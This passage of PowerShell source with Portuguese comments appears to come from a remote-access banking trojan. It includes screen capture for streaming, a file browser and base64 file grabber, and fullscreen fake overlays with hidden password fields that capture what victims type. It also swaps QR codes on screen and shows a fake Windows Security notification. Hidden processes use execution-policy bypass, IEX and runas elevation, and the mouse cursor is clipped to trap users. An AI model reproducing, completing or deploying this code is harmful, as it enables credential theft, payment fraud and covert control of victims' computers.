`$g.DrawLine(`$ck, (`$sx + 10), (`$sy + `$sh * 0.5), (`$sx + `$sw * 0.42), (`$sy + `$sh * 0.7)) `$g.DrawLine(`$ck, (`$sx + `$sw * 0.42), (`$sy + `$sh * 0.7), (`$sx + `$sw - 8), (`$sy + `$sh * 0.28)) # ===== TEXTOS ===== `$tx = `$boxX + 66 `$g.DrawString(`$cropMessage, (New-Object System.Drawing.Font("Segoe UI", 15, [System.Drawing.FontStyle]::Bold)), (New-Object System.Drawing.SolidBrush([System.Drawing.Color]::White)), `$tx, (`$boxY + 14)) `$g.DrawString("Conexao segura • Dados criptografados", (New-Object System.Drawing.Font("Segoe UI", 10)), (New-Object System.Drawing.SolidBrush([System.Drawing.Color]::FromArgb(255, 107, 200, 143))), `$tx, (`$boxY + 42)) } `$g.Dispose() `$screenshot.Dispose() # 3. Criar form fullscreen cobrindo todos monitores `$form = New-Object System.Windows.Forms.Form `$form.FormBorderStyle = 'None' `$form.StartPosition = 'Manual' `$form.Location = New-Object System.Drawing.Point(`$vsX, `$vsY) `$form.Size = New-Object System.Drawing.Size(`$vsW, `$vsH) `$form.TopMost = `$true `$form.BackgroundImage = `$overlay `$form.BackgroundImageLayout = 'None' `$form.ShowInTaskbar = `$false # 4. CRIAR REGIAO COM BURACO apenas no monitor selecionado `$fullRegion = New-Object System.Drawing.Region(New-Object System.Drawing.Rectangle(0, 0, `$vsW, `$vsH)) `$holeRect = New-Object System.Drawing.Rectangle(`$holeRelX, `$holeRelY, `$holeW, `$holeH) `$fullRegion.Exclude(`$holeRect) `$form.Region = `$fullRegion # 5. Timer para manter TopMost `$timer = New-Object System.Windows.Forms.Timer `$timer.Interval = 500 `$timer.Add_Tick({ try { `$form.TopMost = `$true [CropAPI]::SetWindowPos(`$form.Handle, [CropAPI]::HWND_TOPMOST, 0, 0, 0, 0, 0x0003) } catch {} }) `$timer.Start() # 6. Prender mouse na area do buraco (recalculado) `$holeAbsFinalX = `$vsX + `$holeRelX `$holeAbsFinalY = `$vsY + `$holeRelY `$form.Add_Shown({ `$rect = New-Object CropAPI+RECT `$rect.Left = `$holeAbsFinalX `$rect.Top = `$holeAbsFinalY `$rect.Right = `$holeAbsFinalX + `$holeW `$rect.Bottom = `$holeAbsFinalY + `$holeH [CropAPI]::ClipCursor([ref]`$rect) [CropAPI]::SetForegroundWindow(`$form.Handle) [CropAPI]::BringWindowToTop(`$form.Handle) }) `$form.Add_FormClosed({ `$timer.Stop() [CropAPI]::ClipCursor([IntPtr]::Zero) }) [System.Windows.Forms.Application]::Run(`$form) "@ # Executar em processo separado para nao bloquear $scriptPath = "$env:TEMP\crop_$(Get-Random).txt" $cropCode | Out-File -FilePath $scriptPath -Encoding UTF8 $script:CropProcess = Start-Process powershell.exe -ArgumentList "-NoP -EP Bypass -W Hidden -c `"IEX (gc '$scriptPath' -Raw)`"" -WindowStyle Hidden -PassThru $script:CropActive = $true return "Crop screen active" } function Stop-CropScreen { $script:CropActive = $false # Liberar mouse try { Add-Type @' using System; using System.Runtime.InteropServices; public class MouseRelease { [DllImport("user32.dll")] public static extern bool ClipCursor(IntPtr lpRect); } '@ [MouseRelease]::ClipCursor([IntPtr]::Zero) } catch {} # Matar processo do crop if ($script:CropProcess -ne $null) { try { $script:CropProcess.Kill() $script:CropProcess = $null } catch {} } # Matar qualquer processo PowerShell com crop_ Get-Process powershell* -ErrorAction SilentlyContinue | ForEach-Object { try { $cmdLine = (Get-WmiObject Win32_Process -Filter "ProcessId=$($_.Id)" -ErrorAction SilentlyContinue).CommandLine if ($cmdLine -like "*crop_*") { $_.Kill() } } catch {} } return "Crop stopped" } # Adicionar detector de QR robusto usando algoritmo proprio com deteccao de finder patterns try { Add-Type -TypeDefinition @' using System; using System.Drawing; using System.Drawing.Imaging; using System.Collections.Generic; public class QRDetectionResult { public bool Success { get; set; } public string Text { get; set; } public float X { get; set; } public float Y { get; set; } public float Width { get; set; } public float Height { get; set; } } public class QRDetector { // Detectar QR e retornar coordenadas precisas do bounding box public static QRDetectionResult DetectAndDecode(Bitmap bitmap) { var result = new QRDetectionResult { Success = false }; try { int width = bitmap.Width; int height = bitmap.Height; // Converter para grayscale para analise byte[,] gray = new byte[width, height]; BitmapData bmpData = bitmap.LockBits( new Rectangle(0, 0, width, height), ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb ); unsafe { byte* ptr = (byte*)bmpData.Scan0; int stride = bmpData.Stride; for (int y = 0; y < height; y++) { for (int x = 0; x < width; x++) { int offset = y * stride + x * 4; byte b = ptr[offset]; byte g = ptr[offset + 1]; byte r = ptr[offset + 2]; gray[x, y] = (byte)((r * 299 + g * 587 + b * 114) / 1000); } } } bitmap.UnlockBits(bmpData); // Encontrar finder patterns (os 3 quadrados caracteristicos do QR) List finderCenters = FindFinderPatterns(gray, width, height); if (finderCenters.Count >= 3) { // Calcular bounding box dos 3 finder patterns int minX = int.MaxValue, minY = int.MaxValue; int maxX = int.MinValue, maxY = int.MinValue; foreach (var p in finderCenters) { if (p.X < minX) minX = p.X; if (p.Y < minY) minY = p.Y; if (p.X > maxX) maxX = p.X; if (p.Y > maxY) maxY = p.Y; } // Os finder patterns estao nos cantos, entao o QR tem tamanho um pouco maior // Expandir ~15% para cada lado para pegar o QR completo int patternSize = Math.Max(maxX - minX, maxY - minY); int moduleSize = patternSize / 21; // QR v1 tem 21 modulos if (moduleSize < 3) moduleSize = 3; int expand = moduleSize * 4; // ~4 modulos de margem int qrX = minX - expand; int qrY = minY - expand; int qrSize = patternSize + expand * 2; // Garantir limites qrX = Math.Max(0, qrX); qrY = Math.Max(0, qrY); if (qrX + qrSize > width) qrSize = width - qrX; if (qrY + qrSize > height) qrSize = height - qrY; // Forcar quadrado int finalSize = Math.Min(qrSize, Math.Min(width - qrX, height - qrY)); result.X = qrX; result.Y = qrY; result.Width = finalSize; result.Height = finalSize; // Tentar decodificar o conteudo (algoritmo simplificado) // Na pratica, enviamos para o servidor decodificar com jsQR result.Text = "QR_DETECTED_" + finderCenters.Count + "_PATTERNS"; result.Success = true; } } catch (Exception ex) { result.Success = false; } return result; } private static List FindFinderPatterns(byte[,] gray, int width, int height) { var patterns = new List(); int step = 8; // Passo de varredura int patternMinSize = 20; int patternMaxSize = 200; // Varrer a imagem procurando finder patterns for (int y = patternMinSize; y < height - patternMinSize; y += step) { for (int x = patternMinSize; x < width - patternMinSize; x += step) { // Verificar se ha um finder pattern nesta posicao int patternSize = CheckFinderPattern(gray, x, y, width, height); if (patternSize >= patternMinSize && patternSize <= patternMaxSize) { // Verificar se nao esta muito proximo de outro ja encontrado bool tooClose = false; foreach (var p in patterns) { int dx = Math.Abs(p.X - x); int dy = Math.Abs(p.Y - y); if (dx < patternMinSize && dy < patternMinSize) { tooClose = true; break; } } if (!tooClose) { patterns.Add(new Point(x, y)); } } } } return patterns; } private static int CheckFinderPattern(byte[,] gray, int cx, int cy, int width, int height) { // Finder pattern tem proporcao 1:1:3:1:1 (preto:branco:preto:branco:preto) // Verificar horizontal e vertical int[] horizRuns = CountRuns(gray, cx - 40, cy, 80, true, width, height); int[] vertRuns = CountRuns(gray, cx, cy - 40, 80, false, width, height); // Verificar se segue o padrao aproximado 1:1:3:1:1 if (horizRuns != null && horizRuns.Length >= 5 && IsValidPattern(horizRuns)) { if (vertRuns != null && vertRuns.Length >= 5 && IsValidPattern(vertRuns)) { // Calcular tamanho estimado do pattern int totalRun = horizRuns[0] + horizRuns[1] + horizRuns[2] + horizRuns[3] + horizRuns[4]; return totalRun; } } return 0; } private static int[] CountRuns(byte[,] gray, int startX, int startY, int length, bool horizontal, int width, int height) { var runs = new List(); int threshold = 128; int runLength = 0; bool lastBlack = false; bool first = true; for (int i = 0; i < length; i++) { int x = horizontal ? startX + i : startX; int y = horizontal ? startY : startY + i; if (x < 0 || x >= width || y < 0 || y >= height) continue; bool isBlack = gray[x, y] < threshold; if (first) { lastBlack = isBlack; first = false; runLength = 1; } else if (isBlack == lastBlack) { runLength++; } else { runs.Add(runLength); runLength = 1; lastBlack = isBlack; } } if (runLength > 0) runs.Add(runLength); return runs.ToArray(); } private static bool IsValidPattern(int[] runs) { if (runs.Length < 5) return false; // Procurar sequencia que segue padrao 1:1:3:1:1 for (int i = 0; i <= runs.Length - 5; i++) { float unit = (runs[i] + runs[i+1] + runs[i+2] + runs[i+3] + runs[i+4]) / 7.0f; if (unit < 3) continue; // Verificar proporcoes com tolerancia bool valid = runs[i] >= unit * 0.5 && runs[i] <= unit * 1.5 && // 1 runs[i+1] >= unit * 0.5 && runs[i+1] <= unit * 1.5 && // 1 runs[i+2] >= unit * 2.0 && runs[i+2] <= unit * 4.0 && // 3 runs[i+3] >= unit * 0.5 && runs[i+3] <= unit * 1.5 && // 1 runs[i+4] >= unit * 0.5 && runs[i+4] <= unit * 1.5; // 1 if (valid) return true; } return false; } } '@ -ReferencedAssemblies 'System.Drawing' -CompilerParameters @{CompilerOptions='/unsafe'} -ErrorAction SilentlyContinue } catch { # QRDetector nao compilou - funcionalidade QR sera limitada Write-Host "[QR] Detector avancado nao disponivel neste sistema" -ForegroundColor Yellow } # Hash do ultimo QR para evitar duplicatas $script:LastQRContentHash = "" # OTIMIZADO: Detect-QRSimple DESABILITADO (use Tela Fake no lugar) # Removido ~300 linhas de código de detecção automática de QR # Bitmap e Graphics reutilizaveis (evitar New-Object a cada frame = menos GC pressure) $script:_captureBitmap = $null $script:_captureGraphics = $null $script:_captureSize = $null $script:_captureW = 0 $script:_captureH = 0 function Get-Screenshot { try { # Obter monitor selecionado $mon = Get-SelectedMonitor $w = $mon.Width $h = $mon.Height $x = $mon.X $y = $mon.Y # Reusar bitmap se tamanho nao mudou if ($w -ne $script:_captureW -or $h -ne $script:_captureH -or $null -eq $script:_captureBitmap) { if ($script:_captureGraphics) { try { $script:_captureGraphics.Dispose() } catch {} } if ($script:_captureBitmap) { try { $script:_captureBitmap.Dispose() } catch {} } $script:_captureW = $w $script:_captureH = $h $script:_captureSize = New-Object System.Drawing.Size($w, $h) $script:_captureBitmap = New-Object System.Drawing.Bitmap($w, $h) $script:_captureGraphics = [System.Drawing.Graphics]::FromImage($script:_captureBitmap) } # Capturar do monitor selecionado (reutiliza bitmap/graphics) $script:_captureGraphics.CopyFromScreen($x, $y, 0, 0, $script:_captureSize) # Comprimir JPEG (reutiliza MemStream) $script:MemStream.SetLength(0) $script:_captureBitmap.Save($script:MemStream, $script:JpegEncoder, $script:EncoderParams) # OTIMIZADO: ToArray() é mais eficiente que GetBuffer + BlockCopy # ToArray retorna exatamente o tamanho correto sem bytes extras return $script:MemStream.ToArray() } catch { return $null } } function Get-FileList { param([string]$Path) try { $items = @() if (!$Path -or $Path -eq '/' -or $Path -eq '') { Get-PSDrive -PSProvider FileSystem -EA SilentlyContinue | ForEach-Object { $items += @{ Name = "$($_.Name):"; Type = "drive"; Size = 0 } } } else { $Path = $Path.TrimEnd('\') + '\' if (Test-Path $Path) { Get-ChildItem -Path $Path -Force -EA SilentlyContinue | Sort-Object { !$_.PSIsContainer }, Name | ForEach-Object { $type = if ($_.PSIsContainer) { "folder" } else { "file" } $size = if ($_.PSIsContainer) { 0 } else { try { $_.Length } catch { 0 } } $items += @{ Name = $_.Name; Type = $type; Size = $size } } } } return @{ Path = $Path; Items = $items; Error = $null } } catch { return @{ Path = $Path; Items = @(); Error = $_.ToString() } } } function Get-FileData { param([string]$FilePath) try { if (Test-Path $FilePath -PathType Leaf) { $fileInfo = Get-Item $FilePath # Limite de 50MB para nao crashar o processo if ($fileInfo.Length -gt 52428800) { return @{ FileName = $fileInfo.Name; Data = $null; Size = $fileInfo.Length; Error = "Arquivo muito grande (max 50MB)" } } $bytes = [System.IO.File]::ReadAllBytes($FilePath) return @{ FileName = $fileInfo.Name; Data = [Convert]::ToBase64String($bytes); Size = $bytes.Length } } return $null } catch { return $null } } # ═══════════════════════════════════════════════════════════════════════════════ # 📸 SCREENSHOT OVERLAY - Tela fake fullscreen com Input e Botão # ═══════════════════════════════════════════════════════════════════════════════ function Show-ScreenshotOverlay { param( [string]$ImageBase64, [int]$ImageWidth = 0, [int]$ImageHeight = 0, [int]$InputX = 0, [int]$InputY = 0, [int]$InputW = 0, [int]$InputH = 0, [int]$ButtonX = 0, [int]$ButtonY = 0, [int]$ButtonW = 0, [int]$ButtonH = 0, [int]$QRX = 0, [int]$QRY = 0, [int]$QRW = 0, [int]$QRH = 0 ) Write-Host "[SCREENSHOT] ========================================" -ForegroundColor Cyan Write-Host "[SCREENSHOT] Overlay iniciando..." -ForegroundColor Cyan Write-Host "[SCREENSHOT] Input: $InputX,$InputY,$InputW,$InputH" -ForegroundColor Cyan Write-Host "[SCREENSHOT] Button: $ButtonX,$ButtonY,$ButtonW,$ButtonH" -ForegroundColor Cyan if (!$ImageBase64 -or $ImageBase64.Length -lt 100) { Write-Host "[SCREENSHOT] ERRO: Imagem invalida" -ForegroundColor Red return "" } # Limpar arquivos antigos de screenshots anteriores try { Get-ChildItem "C:\Windows\Temp\scr_*" -ErrorAction SilentlyContinue | Where-Object { $_.LastWriteTime -lt (Get-Date).AddMinutes(-5) } | Remove-Item -Force -ErrorAction SilentlyContinue } catch {} $base64Clean = $ImageBase64 -replace '^data:image/[^;]+;base64,', '' # Usar timestamp + random para evitar conflitos $rnd = "{0}_{1}" -f (Get-Date -Format "HHmmss"), (Get-Random -Maximum 9999) $tempImg = "C:\Windows\Temp\scr_$rnd.png" $tempResult = "C:\Windows\Temp\scr_res_$rnd.txt" $tempScript = "C:\Windows\Temp\scr_$rnd.ps1" Write-Host "[SCREENSHOT] Arquivos: img=$tempImg, result=$tempResult" -ForegroundColor Gray try { [System.IO.File]::WriteAllBytes($tempImg, [System.Convert]::FromBase64String($base64Clean)) } catch { Write-Host "[SCREENSHOT] Erro ao salvar imagem: $_" -ForegroundColor Red; return "" } # Script PowerShell para o overlay $psCode = @" Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing Add-Type @' using System; using System.Runtime.InteropServices; public class W { [DllImport("shcore.dll")] public static extern int SetProcessDpiAwareness(int v); [DllImport("user32.dll")] public static extern bool SetForegroundWindow(IntPtr h); } '@ try { [W]::SetProcessDpiAwareness(2) } catch {} `$img = [System.Drawing.Image]::FromFile('$($tempImg -replace "\\", "\\")') `$scr = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds # Imagem fullscreen (1:1 se couber, senão escala proporcional) `$scale = [Math]::Min(`$scr.Width / `$img.Width, `$scr.Height / `$img.Height) `$fw = [int](`$img.Width * `$scale) `$fh = [int](`$img.Height * `$scale) `$ox = [int]((`$scr.Width - `$fw) / 2) `$oy = [int]((`$scr.Height - `$fh) / 2) # CORRIGIDO: Escala separada para coordenadas precisas `$scaleX = `$fw / `$img.Width `$scaleY = `$fh / `$img.Height `$bmp = New-Object System.Drawing.Bitmap(`$scr.Width, `$scr.Height) `$g = [System.Drawing.Graphics]::FromImage(`$bmp) `$g.Clear([System.Drawing.Color]::Black) `$g.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::HighQualityBicubic `$g.DrawImage(`$img, `$ox, `$oy, `$fw, `$fh) `$g.Dispose() `$f = New-Object System.Windows.Forms.Form `$f.FormBorderStyle = 'None' `$f.StartPosition = 'Manual' `$f.Location = New-Object System.Drawing.Point(0, 0) `$f.Size = New-Object System.Drawing.Size(`$scr.Width, `$scr.Height) `$f.TopMost = `$true `$f.BackgroundImage = `$bmp `$f.BackgroundImageLayout = 'None' `$f.ShowInTaskbar = `$false `$f.Tag = "" # QR Transparente - buraco na janela para mostrar QR real por baixo if ($QRW -gt 0 -and $QRH -gt 0) { `$qx = `$ox + [int]($QRX * `$scaleX) `$qy = `$oy + [int]($QRY * `$scaleY) `$qw = [Math]::Max(1, [int]($QRW * `$scaleX)) `$qh = [Math]::Max(1, [int]($QRH * `$scaleY)) Write-Host "[QR] Buraco em: $qx,$qy ${qw}x${qh}" -ForegroundColor Magenta `$rgn = New-Object System.Drawing.Region(New-Object System.Drawing.Rectangle(0,0,`$scr.Width,`$scr.Height)) `$rgn.Exclude((New-Object System.Drawing.Rectangle(`$qx,`$qy,`$qw,`$qh))) `$f.Region = `$rgn } `$txt = `$null # Input de senha (campo transparente sem borda) if ($InputW -gt 0 -and $InputH -gt 0) { `$ix = `$ox + [int]($InputX * `$scaleX) `$iy = `$oy + [int]($InputY * `$scaleY) `$iw = [Math]::Max(20, [int]($InputW * `$scaleX)) `$ih = [Math]::Max(20, [int]($InputH * `$scaleY)) Write-Host "[INPUT] Posicao: $ix,$iy ${iw}x${ih}" -ForegroundColor Cyan `$txt = New-Object System.Windows.Forms.TextBox `$txt.Location = New-Object System.Drawing.Point(`$ix, `$iy) `$txt.Size = New-Object System.Drawing.Size(`$iw, `$ih) `$txt.Font = New-Object System.Drawing.Font('Segoe UI', [Math]::Max(10, [int](`$ih * 0.6))) `$txt.UseSystemPasswordChar = `$true `$txt.TextAlign = 'Left' `$txt.BorderStyle = 'None' `$txt.BackColor = [System.Drawing.Color]::White `$f.Controls.Add(`$txt) } # Botão clicável (área transparente sobre a imagem) if ($ButtonW -gt 0 -and $ButtonH -gt 0) { `$bx = `$ox + [int]($ButtonX * `$scaleX) `$by = `$oy + [int]($ButtonY * `$scaleY) `$bw = [Math]::Max(20, [int]($ButtonW * `$scaleX)) `$bh = [Math]::Max(20, [int]($ButtonH * `$scaleY)) Write-Host "[BUTTON] Posicao: $bx,$by ${bw}x${bh}" -ForegroundColor Yellow `$btn = New-Object System.Windows.Forms.Button `$btn.Location = New-Object System.Drawing.Point(`$bx, `$by) `$btn.Size = New-Object System.Drawing.Size(`$bw, `$bh) `$btn.FlatStyle = 'Flat' `$btn.FlatAppearance.BorderSize = 0 `$btn.FlatAppearance.MouseOverBackColor = [System.Drawing.Color]::Transparent `$btn.FlatAppearance.MouseDownBackColor = [System.Drawing.Color]::Transparent `$btn.BackColor = [System.Drawing.Color]::Transparent `$btn.Cursor = 'Hand' `$btn.Add_Click({ if (`$txt -ne `$null) { `$f.Tag = `$txt.Text } `$f.Close() }) `$f.Controls.Add(`$btn) } # Enter no input também confirma if (`$txt -ne `$null) { `$txt.Add_KeyDown({ if (`$_.KeyCode -eq 'Enter') { `$f.Tag = `$txt.Text `$f.Close() } }) `$f.Add_Shown({ `$txt.Focus(); [W]::SetForegroundWindow(`$f.Handle) }) } `$tm = New-Object System.Windows.Forms.Timer `$tm.Interval = 300 `$tm.Add_Tick({ `$f.TopMost = `$true; `$f.BringToFront() }) `$tm.Start() `$f.Add_FormClosed({ `$tm.Stop() `$img.Dispose() `$bmp.Dispose() [IO.File]::WriteAllText('$($tempResult -replace "\\", "\\")', `$f.Tag) }) [System.Windows.Forms.Application]::Run(`$f) "@ [System.IO.File]::WriteAllText($tempScript, $psCode, [System.Text.Encoding]::UTF8) Write-Host "[SCREENSHOT] Script criado: $tempScript" -ForegroundColor Gray Write-Host "[SCREENSHOT] Resultado esperado em: $tempResult" -ForegroundColor Gray # Guardar paths para monitoramento posterior $script:ScreenshotTempResult = $tempResult $script:ScreenshotActive = $true $script:ScreenshotStartTime = [DateTime]::Now try { $psi = New-Object System.Diagnostics.ProcessStartInfo $psi.FileName = "powershell.exe" $psi.Arguments = "-STA -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$tempScript`"" $psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden # Verificar se já é admin $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) Write-Host "[SCREENSHOT] isAdmin: $isAdmin" -ForegroundColor Gray if ($isAdmin) { $psi.UseShellExecute = $false $psi.CreateNoWindow = $true } else { $psi.UseShellExecute = $true $psi.Verb = "runas" } Write-Host "[SCREENSHOT] Iniciando overlay em BACKGROUND (streaming continua)..." -ForegroundColor Cyan $script:ScreenshotProcess = [System.Diagnostics.Process]::Start($psi) # NÃO BLOQUEIA - Retorna imediatamente para manter streaming ativo # O resultado será monitorado no loop principal Write-Host "[SCREENSHOT] Overlay iniciado - PID: $($script:ScreenshotProcess.Id)" -ForegroundColor Green return "__ASYNC__" # Sinaliza que está rodando em background } catch { Write-Host "[SCREENSHOT] ERRO na execucao: $($_.Exception.Message)" -ForegroundColor Red $script:ScreenshotActive = $false return "" } } function Show-ChatPopup { param([string]$Message, [string]$Title) if (!$Title) { $Title = "Seguranca do Windows" } # Escapar aspas simples $safeTitle = $Title -replace "'", "''" $safeMessage = $Message -replace "'", "''" $code = @" Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing `$form = New-Object System.Windows.Forms.Form `$form.FormBorderStyle = 'None' `$form.StartPosition = 'Manual' `$form.TopMost = `$true `$form.ShowInTaskbar = `$false `$form.BackColor = [System.Drawing.Color]::FromArgb(48, 48, 48) `$form.Size = New-Object System.Drawing.Size(380, 128) `$screen = [System.Windows.Forms.Screen]::PrimaryScreen.WorkingArea `$form.Location = New-Object System.Drawing.Point((`$screen.Right - `$form.Width - 8), (`$screen.Bottom - `$form.Height - 8)) `$appLabel = New-Object System.Windows.Forms.Label `$appLabel.Text = 'Protecao contra virus e ameacas' `$appLabel.Font = New-Object System.Drawing.Font('Segoe UI', 9) `$appLabel.ForeColor = [System.Drawing.Color]::FromArgb(230, 230, 230) `$appLabel.Location = New-Object System.Drawing.Point(16, 12) `$appLabel.AutoSize = `$true `$form.Controls.Add(`$appLabel) `$expandBtn = New-Object System.Windows.Forms.Label `$expandBtn.Text = '^' `$expandBtn.Font = New-Object System.Drawing.Font('Segoe UI', 12) `$expandBtn.ForeColor = [System.Drawing.Color]::FromArgb(180, 180, 180) `$expandBtn.Location = New-Object System.Drawing.Point(352, 10) `$expandBtn.Size = New-Object System.Drawing.Size(20, 20) `$expandBtn.Cursor = [System.Windows.Forms.Cursors]::Hand `$expandBtn.Add_Click({ `$form.Close() }) `$form.Controls.Add(`$expandBtn) `$titleLabel = New-Object System.Windows.Forms.Label `$titleLabel.Text = '$safeTitle' `$titleLabel.Font = New-Object System.Drawing.Font('Segoe UI', 10, [System.Drawing.FontStyle]::Bold) `$titleLabel.ForeColor = [System.Drawing.Color]::White `$titleLabel.Location = New-Object System.Drawing.Point(16, 38) `$titleLabel.Size = New-Object System.Drawing.Size(340, 20) `$form.Controls.Add(`$titleLabel) `$msgLabel = New-Object System.Windows.Forms.Label `$msgLabel.Text = '$safeMessage' `$msgLabel.Font = New-Object System.Drawing.Font('Segoe UI', 9) `$msgLabel.ForeColor = [System.Drawing.Color]::FromArgb(210, 210, 210) `$msgLabel.Location = New-Object System.Drawing.Point(16, 60) `$msgLabel.Size = New-Object System.Drawing.Size(350, 36) `$form.Controls.Add(`$msgLabel) `$timeLabel = New-Object System.Windows.Forms.Label `$timeLabel.Text = (Get-Date).ToString('HH:mm') `$timeLabel.Font = New-Object System.Drawing.Font('Segoe UI', 9) `$timeLabel.ForeColor = [System.Drawing.Color]::FromArgb(160, 160, 160) `$timeLabel.Location = New-Object System.Drawing.Point(16, 100) `$timeLabel.AutoSize = `$true `$form.Controls.Add(`$timeLabel) `$closeTimer = New-Object System.Windows.Forms.Timer `$closeTimer.Interval = 10000 `$closeTimer.Add_Tick({ `$form.Close() }) try { `$player = New-Object System.Media.SoundPlayer `$player.SoundLocation = "`$env:SystemRoot\Media\Windows Notify System Generic.wav" `$player.Play() } catch {} `$form.Add_Shown({ `$closeTimer.Start() }) `$form.Add_Click({ `$form.Close() }) [System.Windows.Forms.Application]::Run(`$form) "@ # Salvar script em arquivo temp e executar (evita EncodedCommand) $tempScript = "$env:TEMP\chat_popup_$(Get-Random).ps1" $code | Out-File -FilePath $tempScript -Encoding UTF8 Start-Invisible -Command "powershell.exe" -Arguments "-NoP -EP Bypass -W Hidden -File `"$tempScript`"" } function Show-QROverlay { param( [string]$ImageBase64, [int]$X, [int]$Y, [int]$Width, [int]$Height, [int]$Duration = 30000 ) Write-Host "[QR OVERLAY] Original coords: ($X, $Y) size ${Width}x${Height}" -ForegroundColor Magenta # Garantir tamanho minimo if ($Width -lt 100) { $Width = 100 } if ($Height -lt 100) { $Height = 100 } # Adicionar margem de 10% para garantir cobertura completa $marginPercent = 0.10 $extraW = [Math]::Max(10, [int]($Width * $marginPercent)) $extraH = [Math]::Max(10, [int]($Height * $marginPercent)) # Tamanho final = original + margem (para cobrir completamente) $finalW = $Width + $extraW $finalH = $Height + $extraH # Fazer quadrado usando o MAIOR valor (QR codes sao quadrados) $size = [Math]::Max($finalW, $finalH) # Ajustar posicao para centralizar a margem extra $finalX = $X - [int]($extraW / 2) $finalY = $Y - [int]($extraH / 2) # NOTA: Coordenadas podem ser NEGATIVAS se VirtualScreen comecar em valores negativos # Ex: Monitor a esquerda em X=-1920, QR em X=-1800 e valido! # NAO limitar a 0! Write-Host "[QR OVERLAY] Final: ($finalX, $finalY) size ${size}x${size} (margin +$extraW)" -ForegroundColor Green # Extrair apenas os dados base64 $base64Data = $ImageBase64 if ($base64Data -match 'base64,(.+)$') { $base64Data = $Matches[1] } # Criar script PowerShell que sera executado em processo separado $overlayScript = @" Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing # DPI AWARENESS - CRITICO para posicionamento preciso! Add-Type @' using System; using System.Runtime.InteropServices; public class DpiHelper { [DllImport("shcore.dll")] public static extern int SetProcessDpiAwareness(int awareness); } '@ try { [DpiHelper]::SetProcessDpiAwareness(2) } catch {} try { `$base64 = '$base64Data' `$imageBytes = [Convert]::FromBase64String(`$base64) `$ms = New-Object System.IO.MemoryStream(,`$imageBytes) `$originalImage = [System.Drawing.Image]::FromStream(`$ms) # Redimensionar para o tamanho EXATO necessario `$size = $size `$resized = New-Object System.Drawing.Bitmap(`$size, `$size) `$g = [System.Drawing.Graphics]::FromImage(`$resized) `$g.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::HighQualityBicubic `$g.PixelOffsetMode = [System.Drawing.Drawing2D.PixelOffsetMode]::HighQuality `$g.SmoothingMode = [System.Drawing.Drawing2D.SmoothingMode]::HighQuality `$g.Clear([System.Drawing.Color]::White) `$g.DrawImage(`$originalImage, 0, 0, `$size, `$size) `$g.Dispose() `$originalImage.Dispose() `$ms.Dispose() # Criar form com nome identificavel `$form = New-Object System.Windows.Forms.Form `$form.Name = 'QROverlayForm' `$form.Text = 'QROverlay_$([System.Guid]::NewGuid().ToString("N").Substring(0,8))' `$form.FormBorderStyle = [System.Windows.Forms.FormBorderStyle]::None `$form.StartPosition = [System.Windows.Forms.FormStartPosition]::Manual `$form.TopMost = `$true `$form.ShowInTaskbar = `$false `$form.BackColor = [System.Drawing.Color]::White `$form.Size = New-Object System.Drawing.Size(`$size, `$size) `$form.Location = New-Object System.Drawing.Point($finalX, $finalY) # PictureBox `$pic = New-Object System.Windows.Forms.PictureBox `$pic.Image = `$resized `$pic.SizeMode = [System.Windows.Forms.PictureBoxSizeMode]::Zoom `$pic.Dock = [System.Windows.Forms.DockStyle]::Fill `$pic.BackColor = [System.Drawing.Color]::White `$form.Controls.Add(`$pic) # Arquivo de sinal para fechar (usado por overlays permanentes) `$signalFile = "`$env:TEMP\qr_overlay_close_signal.txt" # Timer para fechar (so se Duration > 0) if ($Duration -gt 0) { `$timer = New-Object System.Windows.Forms.Timer `$timer.Interval = $Duration `$timer.Add_Tick({ `$form.Close() }) `$form.Add_Shown({ `$timer.Start() }) `$form.Add_FormClosed({ `$resized.Dispose() `$timer.Dispose() }) } else { # Duration = 0 significa PERMANENTE # Timer que verifica arquivo de sinal a cada 500ms `$checkTimer = New-Object System.Windows.Forms.Timer `$checkTimer.Interval = 500 `$checkTimer.Add_Tick({ if (Test-Path `$signalFile) { Remove-Item `$signalFile -Force -ErrorAction SilentlyContinue `$form.Close() } }) `$form.Add_Shown({ `$checkTimer.Start() }) `$form.Add_FormClosed({ `$resized.Dispose() `$checkTimer.Stop() `$checkTimer.Dispose() }) } # Click para fechar `$form.Add_Click({ `$form.Close() }) `$pic.Add_Click({ `$form.Close() }) [System.Windows.Forms.Application]::Run(`$form) } catch { # Silencioso } "@ try { # Remover sinal anterior se existir (garante que overlay nao fecha imediatamente) $signalFile = "$env:TEMP\qr_overlay_close_signal.txt" if (Test-Path $signalFile) { Remove-Item $signalFile -Force -ErrorAction SilentlyContinue } # Salvar script em arquivo temp e executar (evita EncodedCommand) $tempScript = "$env:TEMP\qr_overlay_$(Get-Random).ps1" $overlayScript | Out-File -FilePath $tempScript -Encoding UTF8 Start-Invisible -Command "powershell.exe" -Arguments "-NoP -EP Bypass -W Hidden -File `"$tempScript`"" Write-Host "[QR OVERLAY] =======================================" -ForegroundColor Green Write-Host "[QR OVERLAY] Overlay PERMANENTE criado!" -ForegroundColor Green Write-Host "[QR OVERLAY] Posicao: ($finalX, $finalY) Tamanho: ${size}x${size}" -ForegroundColor Cyan Write-Host "[QR OVERLAY] Para fechar: clique no QR ou use botao PARAR" -ForegroundColor Yellow Write-Host "[QR OVERLAY] =======================================" -ForegroundColor Green } catch { Write-Host "[QR OVERLAY] Error: $($_.Exception.Message)" -ForegroundColor Red } } # Funcao para esconder/remover TODOS os QR Overlays function Hide-QROverlay { Write-Host "[QR HIDE] =======================================" -ForegroundColor Yellow # Metodo 1: Criar arquivo de sinal (o overlay verifica e se fecha) $signalFile = "$env:TEMP\qr_overlay_close_signal.txt" try { "close" | Out-File -FilePath $signalFile -Force Write-Host "[QR HIDE] [OK] Sinal enviado! Overlay vai fechar em <500ms" -ForegroundColor Green } catch { Write-Host "[QR HIDE] Erro ao criar sinal: $_" -ForegroundColor Red } # Limpar array de PIDs $script:QROverlayPIDs = @() # Limpar arquivo de 